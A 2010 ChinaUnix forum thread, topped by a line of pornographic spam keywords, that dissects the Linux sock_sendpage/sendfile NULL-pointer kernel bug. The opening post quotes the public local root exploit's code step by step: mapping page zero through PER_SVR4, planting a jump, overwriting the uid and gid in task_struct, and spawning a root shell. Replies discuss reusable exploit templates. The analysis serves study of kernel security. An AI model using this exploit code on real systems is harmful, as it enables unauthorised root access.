亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 31606 | 回復(fù): 67
打印 上一主題 下一主題

剖析一個(gè)由sendfile引發(fā)的linux內(nèi)核BUG [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2010-01-13 16:55 |只看該作者 |倒序?yàn)g覽
之前看了《新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論》這篇帖子,在九賤兄和諸位CUer的指引下,大致弄清了整個(gè)漏洞的始末,F(xiàn)與大家分享(引用自我的空間)。
有什么不足之處還望多多指教~

內(nèi)核的BUG

這個(gè)BUG首先得從sendfile系統(tǒng)調(diào)用說起。
考慮將一個(gè)本地文件通過socket發(fā)送出去的問題。我們通常的做法是:打開文件fd和一個(gè)socket,然后循環(huán)地從文件fd中read數(shù)據(jù),并將讀取的數(shù)據(jù)send到socket中。這樣,每次讀寫我們都需要兩次系統(tǒng)調(diào)用,并且數(shù)據(jù)會(huì)被從內(nèi)核拷貝到用戶空間(read),再從用戶空間拷貝到內(nèi)核(send)。

而sendfile就將整個(gè)發(fā)送過程封裝在一個(gè)系統(tǒng)調(diào)用中,避免了多次系統(tǒng)調(diào)用,避免了數(shù)據(jù)在內(nèi)核空間和用戶空間之間的大量拷貝。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);


雖然這個(gè)系統(tǒng)調(diào)用接收in和out兩個(gè)fd,但是有所限制,in只能是普通文件,out只能是socket(這個(gè)限制不知道后來的內(nèi)核版本有沒有放寬)。

sendfile系統(tǒng)調(diào)用在內(nèi)核里面是怎么實(shí)現(xiàn)的呢?這個(gè)還是比較復(fù)雜,它在內(nèi)核里面做了原來要在用戶態(tài)做的事情:創(chuàng)建一個(gè)pipe對(duì)象作buffer用、從in_fd中讀數(shù)據(jù)到pipe中、將pipe中的數(shù)據(jù)寫到out_fd、循環(huán)直到滿足結(jié)束條件。
關(guān)于寫數(shù)據(jù)到out_fd的過程,簡(jiǎn)要描述如下:
sys_sendfile => 入口
do_sendfile => 參數(shù)檢查,其中會(huì)確定out_fd對(duì)應(yīng)的file結(jié)構(gòu)包含sendfile方法(out_file->f_op->sendpage)
do_splice_direct => 最終調(diào)用到out_file->f_op->splice_write,而out_file是個(gè)socket,它的f_op->splice_write等于generic_splice_sendpage
generic_splice_sendpage => 最終調(diào)用到out_file->f_op->sendpage,這個(gè)sendpage等于sock_sendpage

sock_sendpage的代碼如下:

struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
    flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);


注意,BUG出現(xiàn)了,調(diào)用sock->ops->sendpage之前沒有判斷這個(gè)函數(shù)指針是否為NULL。
(這里調(diào)用的sock->ops->sendpage就是out_file->f_op->private_data->ops->sendpage,out_file->f_op->private_data指針指向的是一個(gè)struct socket結(jié)構(gòu),因?yàn)檫@個(gè)fd代表的是一個(gè)socket。)

但是,這里的sock->ops->sendpage可能是NULL嗎?搜索內(nèi)核代碼可以發(fā)現(xiàn),并不是每一種類型的socket都會(huì)實(shí)現(xiàn)sendpage這個(gè)函數(shù)。但是大多數(shù)沒有實(shí)現(xiàn)這個(gè)函數(shù)的socket都將這個(gè)函數(shù)指針設(shè)為sock_no_sendpage(這基本上是一個(gè)例行公事的空函數(shù))。但是,有少數(shù)類型的socket卻沒有設(shè)置sock->ops->sendpage(沒設(shè)置,則默認(rèn)為NULL),如PF_PPPOX、PF_BLUETOOTH、等等。(上面鏈接給出的代碼就利用了PF_PPPOX,后來我發(fā)現(xiàn),用PF_BLUETOOTH也能達(dá)到一樣的效果,而換用PF_INET之類的卻不行。)


利用這個(gè)BUG

前面我們看到,內(nèi)核在sendfile系統(tǒng)調(diào)用中,沒有判斷sock->ops->sendpage是否為空,就對(duì)它進(jìn)行調(diào)用,并且sock->ops->sendpage的確可能為空。

如果我們的程序中調(diào)用一個(gè)值為NULL的函數(shù)指針,其結(jié)果會(huì)怎樣?自然是程序崩潰,也僅僅就是崩潰而已。那么,這么個(gè)東西是怎么被利用,并實(shí)現(xiàn)竊取root身份的呢?讓我們逐步解讀上面鏈接給出的代碼。
主函數(shù)main():

char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid(); // 獲取用戶ID,后面有用
gid = getgid(); // 獲取用戶組ID,后面有用
setresuid(uid, uid, uid); // 確保用戶ID被設(shè)置到進(jìn)程中
setresgid(gid, gid, gid); // 確保用戶組ID被設(shè)置到進(jìn)程中
// 以下幾句就狠了,它把0~1000的地址做了映射,并且置可執(zhí)行屬性
if ((personality(0xffffffff)) != PER_SVR4) {
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap") ;
        return -1;
    }
} else {
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
        perror("mprotect") ;
        return -1;
    }
}
// 以下幾句更狠,在剛剛映射的0地址上寫下JMP到kernel_code的指令
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code – 6; // 這里是相對(duì)跳轉(zhuǎn),-6就是減去當(dāng)前地址的地址值
// 創(chuàng)建一個(gè)臨時(shí)文件,用作源文件
if ((fdin = mkstemp(template)) < 0) {
    perror("mkstemp") ;
    return -1;
}
// 創(chuàng)建一個(gè)socket,注意其類型為PF_PPPOX
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
    perror("socket") ;
    return -1;
}
// 下面重點(diǎn)就是sendfile了
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);


經(jīng)過前面的介紹,我們可以看到,這里的sendfile將在系統(tǒng)調(diào)用中觸發(fā)對(duì)0地址的調(diào)用。然而,現(xiàn)在0地址上已經(jīng)被寫下了JMP到kernel_code的指令。
這里的kernel_code實(shí)際上是和這個(gè)main在一起編譯的一個(gè)函數(shù),下面我們將會(huì)看到。


現(xiàn)在的處境

進(jìn)入sendfile系統(tǒng)調(diào)用后,CPU進(jìn)入內(nèi)核態(tài)。內(nèi)核態(tài)能干任何CPU能干的事情,一般情況下,只有內(nèi)核代碼能在內(nèi)核態(tài)下執(zhí)行,這是由內(nèi)核來保證的。但是現(xiàn)在,內(nèi)核代碼調(diào)用了0地址的函數(shù),進(jìn)入了用戶代碼kernel_code。于是,程序員可以在他們自己寫的kernel_code代碼中干任何內(nèi)核能干的事情。
注意,一般從內(nèi)核態(tài)返回到用戶態(tài)有專門的指令(比如iret),它會(huì)同時(shí)改變CPU特權(quán)級(jí)別。但是現(xiàn)在的情況不是這樣,內(nèi)核代碼相當(dāng)于是直接調(diào)用程序員寫的函數(shù),并沒有返回用戶態(tài)。

然而另一方面,內(nèi)核代碼可以輕松地訪問內(nèi)核的數(shù)據(jù)結(jié)構(gòu),因?yàn)閮?nèi)核代碼是在一塊編譯的,對(duì)象的地址都知道、結(jié)構(gòu)都清楚。而現(xiàn)在程序員寫在kernel_code里的代碼呢?盡管他們擁有與內(nèi)核代碼一樣的訪問權(quán)限,但是卻不知道數(shù)據(jù)的地址和狀態(tài),他們現(xiàn)在是個(gè)瞎子。
下面,你會(huì)看到在kernel_code的代碼中,示例代碼的作者是怎樣摸著石頭過河的。


開始干壞事了

kernel_code函數(shù)主要分三個(gè)步驟:

1、獲取task_struct

uint *p = get_current();


其中g(shù)et_current的代碼如下:

__asm__ __volatile__ (
    "movl %%esp, %%eax ;" // 將棧指針的值賦給EAX
    "andl %1, %%eax ;" // 將這個(gè)棧指針值與~8191(后13bit為0)取與
    "movl (%%eax), %0" // 將結(jié)果輸出到curr變量中,此即task_struct指針
    : "=r" (curr)
    : "i" (~8191)
);


在內(nèi)核中,每個(gè)進(jìn)程擁有一個(gè)thread_info結(jié)構(gòu),以及內(nèi)核棧。這兩樣?xùn)|西是分配在兩個(gè)連續(xù)的page中的,并且thread_info結(jié)構(gòu)在前,棧在后。thread_info結(jié)構(gòu)的第一個(gè)元素是task,它是一個(gè)指向task_struct結(jié)構(gòu)(即通常所說的進(jìn)程控制塊)的指針。在這個(gè)task_struct結(jié)構(gòu)中就保存著進(jìn)程的主要信息。
(注:linux 2.4時(shí),這里的兩個(gè)page存放著task_struct結(jié)構(gòu)和內(nèi)核棧,并沒有thread_info這樣一層。)
在32位系統(tǒng)中,一個(gè)page的大小是4K,page的首字節(jié)的地址后12bit為0。而task_struct結(jié)構(gòu)相當(dāng)于是兩page對(duì)齊的,其首地址的后13bit為0。
由此,通過棧指針的值,將后13bit清0后,得到進(jìn)程對(duì)應(yīng)的thread_info結(jié)構(gòu),再以thread_info結(jié)構(gòu)為指針(該結(jié)構(gòu)的第一個(gè)字,即指向task_struct結(jié)構(gòu)的task指針),便能得到task_struct結(jié)構(gòu)。
(其實(shí),通過這樣一段匯編代碼拿到task_struct結(jié)構(gòu)還是比較笨的辦法。最簡(jiǎn)單的辦法是:取當(dāng)前棧上定義的任意一個(gè)變量,將其地址的后13位清0即可。)

2、拿到了task_struct,要干什么呢?示例代碼的目標(biāo)是修改task_struct中記錄的用戶信息,以使得這個(gè)進(jìn)程變成是由root啟動(dòng)的進(jìn)程。

for (i = 0; i < 1024-13; i++) {    
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
        p[0] = p[1] = p[2] = p[3] = 0;
        p[4] = p[5] = p[6] = p[7] = 0;
        p = (uint *) ((char *)(p + 8 ) + sizeof(void *));
        p[0] = p[1] = p[2] = ~0;
        break;
    }
    p++;
}


回想一下,在main函數(shù)中已經(jīng)獲取了用戶和用戶組ID,并設(shè)置到了進(jìn)程中(設(shè)置到進(jìn)程了task_struct結(jié)構(gòu)中)。于是,搜索task_struct結(jié)構(gòu),試圖匹配這幾個(gè)ID。因?yàn)樵诓煌姹镜膬?nèi)核中,這幾個(gè)ID放置的位置可能不大相同,但它們出現(xiàn)的順序總是相同的。
如果被匹配到,那么就找到了這幾個(gè)ID的存放地。然后,就可以將它們?nèi)扛臑?。于是這個(gè)進(jìn)程就變成root用戶的進(jìn)程了。

不過這種修改uid的方法在較新版本的內(nèi)核中已經(jīng)行不通了,uid、gid這些信息已經(jīng)不是直接放在task_struct結(jié)構(gòu)中,而是整理到一個(gè)叫cred的結(jié)構(gòu),然后task_struct結(jié)構(gòu)保存了指向?qū)?yīng)cred結(jié)構(gòu)的指針。

3、回到用戶態(tài)
好了,身份已經(jīng)改好,程序回到用戶態(tài)去,啟動(dòng)一個(gè)shell,然后好好體會(huì)root生活吧~

__asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    : "i" (USER_CS), "r" (exit_code)
);


這段代碼就是將返回地址壓在內(nèi)核棧上,然后iret返回用戶態(tài)。返回地址被指定到exit_code上,這也是和main編譯在一起的一個(gè)函數(shù)。其代碼如下:

if (getuid() != 0) {
    fprintf(stderr, "failed\n") ;
    exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL);


現(xiàn)在程序已經(jīng)回到用戶態(tài)了,調(diào)用getuid看看是不是已經(jīng)成了root。確認(rèn)無洖,啟動(dòng)shell吧~

問題的點(diǎn)睛

雖然上面的敘述一口氣把這個(gè)內(nèi)核漏洞的來龍去脈講通了,但是有個(gè)重要的細(xì)節(jié)卻一筆代過了。那就是映射0地址的部分,我覺得這才是整個(gè)攻擊代碼的點(diǎn)睛之筆。其代碼大致如下:

if ((personality(0xffffffff)) != PER_SVR4) {
    mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);
} else {
    mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}

映射0地址,為什么不是直接的mmap,還要有這樣的分支語句呢?personality函數(shù)和mprotect函數(shù)又是什么意思?
其實(shí),這段攻擊代碼編譯成的可執(zhí)行文件(記為exploit)并不是直接在shell上面執(zhí)行的。而是通過一段C代碼來執(zhí)行(見源碼中的run.c):

int main(void) {
    if (personality(PER_SVR4) < 0) {
        perror("personality") ;
        return -1;
    }
    fprintf(stderr, "padlina z lublina!\n") ;
    execl("./exploit", "exploit", 0);
}

可以看到,在執(zhí)行之前,也調(diào)用了personality函數(shù)。

linux內(nèi)核具有很強(qiáng)的兼容性,不僅可以執(zhí)行l(wèi)inux下編譯的可執(zhí)行文件,還可以執(zhí)行在其他操作系統(tǒng)下編譯的可執(zhí)行文件:對(duì)于windows等一些操作系統(tǒng)上的可執(zhí)行文件,linux通過運(yùn)行于用戶態(tài)的虛擬機(jī)程序(如wine)來運(yùn)行;而對(duì)于某些類unix系統(tǒng)的可執(zhí)行文件,linux則可以直接執(zhí)行。
然而linux直接執(zhí)行類unix系統(tǒng)的可執(zhí)行文件,也并不是無縫的,需要設(shè)置“執(zhí)行域”來告訴內(nèi)核當(dāng)前執(zhí)行的是某某系統(tǒng)的可執(zhí)行文件。于是,linux內(nèi)核就會(huì)根據(jù)對(duì)應(yīng)的類unix系統(tǒng)的規(guī)則(比如內(nèi)存布局、信號(hào)處理等)來運(yùn)行程序。

上面看到的personality函數(shù)就是用來設(shè)置“執(zhí)行域”的(默認(rèn)的執(zhí)行域就是linux),而上面的啟動(dòng)代碼就通過personality函數(shù)將進(jìn)程的執(zhí)行域設(shè)置為SVR4(一種較老的類unix系統(tǒng),System V Release 4)。于是,在映射0地址時(shí)將走到調(diào)用mprotect函數(shù)的分支(personality(0xffffffff)表示獲取當(dāng)前的執(zhí)行域)。
mmap是用來分配進(jìn)程虛擬內(nèi)存區(qū)域的函數(shù),分配的同時(shí)可以設(shè)置其屬性;而mprotect函數(shù)則是專門設(shè)置虛擬內(nèi)存區(qū)域?qū)傩缘暮瘮?shù)。上面的攻擊代碼中,通過這個(gè)函數(shù),把0地址設(shè)置為可執(zhí)行。

在我的系統(tǒng)上,如果直接在shell上執(zhí)行exploit程序(走mmap的分支),mmap會(huì)失敗。因?yàn)樵?2位linux上,進(jìn)程地址空間是從0x08048000開始使用的(依次是可執(zhí)行代碼區(qū)、全局?jǐn)?shù)據(jù)區(qū)、堆、文件映射區(qū)、棧),從0地址到0x08048000的空間并不能被映射。

exploit程序之所以能夠映射0地址,是因?yàn)榘l(fā)現(xiàn)了在SVR4這種執(zhí)行域下,進(jìn)程能夠映射0地址。確切的說,0地址默認(rèn)是有映射的存在的,代碼只是修改了這個(gè)映射的屬性。

在linux 2.6.29.4的代碼中找到了以下一些內(nèi)容:
personality.h,對(duì)SVR4執(zhí)行域有如下選項(xiàng)定義(注意其中有個(gè)MMAP_PAGE_ZERO標(biāo)記):
enum {
......
PER_SVR4 =   0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
......
};

binfmt_elf.c:load_elf_binary(),在加載elf格式(linux下最常用的格式)的可執(zhí)行文件時(shí),有如下代碼(針對(duì)MMAP_PAGE_ZERO標(biāo)記做了特殊處理):
    ......
if (current->personality & MMAP_PAGE_ZERO) {
      /* Why this, you ask??? Well SVr4 maps page 0 as read-only,
      and some applications "depend" upon this behavior.
      Since we do not have the power to recompile these, we
      emulate the SVr4 behavior. Sigh. */
      down_write(&current->mm->mmap_sem);
      error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE, 0);
      up_write(&current->mm->mmap_sem);
}
......

看到作者的注釋了吧~ 就這樣,0地址被映射了。

[ 本帖最后由 kouu 于 2010-1-13 16:59 編輯 ]

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2010-01-13 17:38 |只看該作者
不錯(cuò), 不過內(nèi)核的BUG沒有說的太仔細(xì), 我也寫了一篇分析這個(gè)內(nèi)核BUG的paper:
http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
3 [報(bào)告]
發(fā)表于 2010-01-13 17:47 |只看該作者
多謝kouu的好文。整理的比較系統(tǒng)。

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
4 [報(bào)告]
發(fā)表于 2010-01-13 17:52 |只看該作者
原帖由 W.Z.T 于 2010-1-13 17:38 發(fā)表
不錯(cuò), 不過內(nèi)核的BUG沒有說的太仔細(xì), 我也寫了一篇分析這個(gè)內(nèi)核BUG的paper:
http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html


剛剛看了一下W.Z.T兄分析的文章。主要是從系統(tǒng)調(diào)用開始,到最后指向了sendpage這個(gè)未初始化的指針。分析的很詳細(xì)。

不過kouu兄分析的文章應(yīng)該重點(diǎn)是在與利用這個(gè)漏洞的源碼,比如設(shè)置執(zhí)行域PER_SVR4,以及為什么可以映射0地址等,以及內(nèi)核態(tài)執(zhí)行0地址處的執(zhí)行,進(jìn)而調(diào)用了kernel_code,設(shè)置了進(jìn)程的ID等。

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
5 [報(bào)告]
發(fā)表于 2010-01-13 18:03 |只看該作者
貼一下個(gè)人對(duì)該漏洞的一個(gè)簡(jiǎn)單總結(jié),有錯(cuò)誤的地方請(qǐng)大家指正:
三、總結(jié)
對(duì)于這樣的BUG,個(gè)人有兩點(diǎn)內(nèi)容總結(jié):
(1)我們可以通過該Bug的利用方式,能夠明白只要有相關(guān)用戶態(tài)的調(diào)用切換到內(nèi)核態(tài),而內(nèi)核態(tài)調(diào)用的函數(shù)指向了NULL,那么上面的代碼就可以順利的執(zhí)行。
    本人曾經(jīng)在開啟SElinux的系統(tǒng)上,加載一個(gè)注冊(cè)proc文件的內(nèi)核模塊。其中read函數(shù)里面調(diào)用了一個(gè)指向NULL的函數(shù)指針。然后將引發(fā)BUG 的代碼(上面的socket和sendfile)改為打開一個(gè)proc文件(調(diào)用open和read),同樣獲取到root用戶的權(quán)限。

(2)即使在有些系統(tǒng)上無法順利的利用該漏洞獲取到root權(quán)限,但是只要其相關(guān)的代碼沒有修改,比如sock_sendpage函數(shù)調(diào)用之前仍不判斷其有效性,那么我們同樣可以利用exploit.c中觸發(fā)BUG的代碼,來攻擊一個(gè)系統(tǒng),至少可以上該系統(tǒng)的內(nèi)核報(bào)出Oops。
   這也相當(dāng)于為我們提供了一種挖掘Linux內(nèi)核BUG的方法。

論壇徽章:
0
6 [報(bào)告]
發(fā)表于 2010-01-13 18:30 |只看該作者
分析的不錯(cuò)

論壇徽章:
0
7 [報(bào)告]
發(fā)表于 2010-01-13 19:22 |只看該作者
原帖由 Godbach 于 2010-1-13 17:52 發(fā)表


剛剛看了一下W.Z.T兄分析的文章。主要是從系統(tǒng)調(diào)用開始,到最后指向了sendpage這個(gè)未初始化的指針。分析的很詳細(xì)。

不過kouu兄分析的文章應(yīng)該重點(diǎn)是在與利用這個(gè)漏洞的源碼,比如設(shè)置執(zhí)行域PER_SVR4,以 ...


Linux kernel NULL pointer的漏洞利用方法都是大同小異的, 現(xiàn)在都有現(xiàn)成的模板直接往上套就行。 關(guān)鍵是怎樣找到 NULL pointer的bug

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
8 [報(bào)告]
發(fā)表于 2010-01-13 19:35 |只看該作者
關(guān)鍵是怎樣找到 NULL pointer的bug

是的。

另外,請(qǐng)教W.Z.T兄一個(gè)問題,這種映射0地址的方式,是不是僅在開啟SElinux的系統(tǒng)上有效?

論壇徽章:
0
9 [報(bào)告]
發(fā)表于 2010-01-14 09:01 |只看該作者
原帖由 Godbach 于 2010-1-13 19:35 發(fā)表

是的。

另外,請(qǐng)教W.Z.T兄一個(gè)問題,這種映射0地址的方式,是不是僅在開啟SElinux的系統(tǒng)上有效?


根據(jù)我的實(shí)驗(yàn),應(yīng)該是和內(nèi)核版本有關(guān)系的。比如有的內(nèi)核不允許映射到0地址, 但是開啟的selinux系統(tǒng)確可以。 這個(gè)系統(tǒng)就是能被攻擊的。 更多關(guān)于NULL pointer的知識(shí)可以關(guān)注: http://www.cr0.org, 是google的內(nèi)核安全研究人員, 爆過很多NULL pointer的漏洞。

[ 本帖最后由 W.Z.T 于 2010-1-14 09:02 編輯 ]

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
10 [報(bào)告]
發(fā)表于 2010-01-14 09:56 |只看該作者
根據(jù)我的實(shí)驗(yàn),應(yīng)該是和內(nèi)核版本有關(guān)系的。比如有的內(nèi)核不允許映射到0地址, 但是開啟的selinux系統(tǒng)確可以。 這個(gè)系統(tǒng)就是能被攻擊的。 更多關(guān)于NULL pointer的知識(shí)可以關(guān)注: http://www.cr0.org, 是google的內(nèi)核安全研究人員, 爆過很多NULL pointer的漏洞。


多謝W.Z.T兄指點(diǎn)。記得該漏洞的另外一個(gè)例程,代碼中區(qū)分了多種情況:
(1)如果不存在vm.mmap_min_addr或者其為0,代表可以直接映射0地址。
(2)若內(nèi)核不允許映射,則可以將personality設(shè)置為PER_SVR4,同樣可以達(dá)到映射0地址的效果。
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP